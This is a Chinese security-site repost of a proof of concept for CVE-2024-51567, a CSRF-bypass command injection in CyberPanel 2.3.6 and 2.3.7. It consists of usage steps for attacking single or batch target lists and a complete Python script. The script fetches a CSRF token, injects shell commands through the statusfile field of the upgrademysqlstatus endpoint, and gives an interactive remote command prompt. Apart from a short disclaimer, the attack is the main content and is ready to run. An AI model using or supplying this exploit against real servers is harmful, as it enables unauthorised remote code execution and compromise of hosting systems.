命令注入 / CSRF 绕过漏洞(cve-2024-51567)

admin 2024年11月29日10:46:24评论14 views字数 1749阅读5分49秒阅读模式
0x01 工具介绍

漏洞概述
编号: CVE-2024-51567
类型: 命令注入 / CSRF 绕过
影响范围: CyberPanel 2.3.6 和 2.3.7 版本(未修复)
在 CyberPanel 的 upgrademysqlstatus 接口中,通过绕过 secMiddleware 对 POST 请求的保护,攻击者可以利用 statusfile 参数注入命令并远程执行。
0x02 安装与使用

一、安装python库
pip install httpx

二、单目标运行

python CVE-2024-51567.py <目标URL>python CVE-2024-51567.py http://example.com

三、多目标批量运行,在文件中列出所有目标,每行一个 URL,然后运行:

python CVE-2024-51567.py <目标文件>python CVE-2024-51567.py targets.txt

四、运行脚本后,进入交互模式,可连续输入命令直到退出(输入 exit 或 quit)。

五、常见问题

"CSRF token 未找到":

确认目标服务器是否正确返回了 CSRF Token。

如路径不同,可调整 get_CSRF_token 函数。

POC

import httpx
import sys
import os

def get_CSRF_token(client):
    resp = client.get("/")
    if 'csrftoken' in resp.cookies:
        return resp.cookies['csrftoken']
    else:
        print("Error: CSRF token not found in cookies.")
        sys.exit(1)

def pwn(client, CSRF_token, cmd):
    headers = {
        "X-CSRFToken": CSRF_token,
        "Content-Type": "application/json",
        "Referer": str(client.base_url)
    }
    payload = '{"statusfile":"/dev/null; %s; #","csrftoken":"%s"}' % (cmd, CSRF_token)
    return client.put("/dataBases/upgrademysqlstatus", headers=headers, data=payload).json().get("requestStatus", "Error")

def exploit(client, cmd):
    CSRF_token = get_CSRF_token(client)
    stdout = pwn(client, CSRF_token, cmd)
    print(stdout)

def run_exploit(target):
    client = httpx.Client(base_url=target, verify=False)
    
    while True:
        cmd = input("$> ") 
        if cmd.lower() in ["exit", "quit"]:
            print("Exiting...")
            break
        exploit(client, cmd)

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: python CVE-2024-51567.py <target-url> or python CVE-2024-51567.py <target.txt>")
        sys.exit(1)

    target_arg = sys.argv[1]
    
    if os.path.isfile(target_arg):
        with open(target_arg, "r") as file:
            targets = [line.strip() for line in file if line.strip()]
        
        for target in targets:
            print(f"\nExploiting target: {target}")
            run_exploit(target)
    else:
        run_exploit(target_arg)

0x03 下载链接

https://github.com/XiaomingX/cve-2024-51567-poc

原文始发于微信公众号(网络安全者):命令注入 / CSRF 绕过漏洞(cve-2024-51567)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月29日10:46:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   命令注入 / CSRF 绕过漏洞(cve-2024-51567)http://cn-sec.com/archives/3447734.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息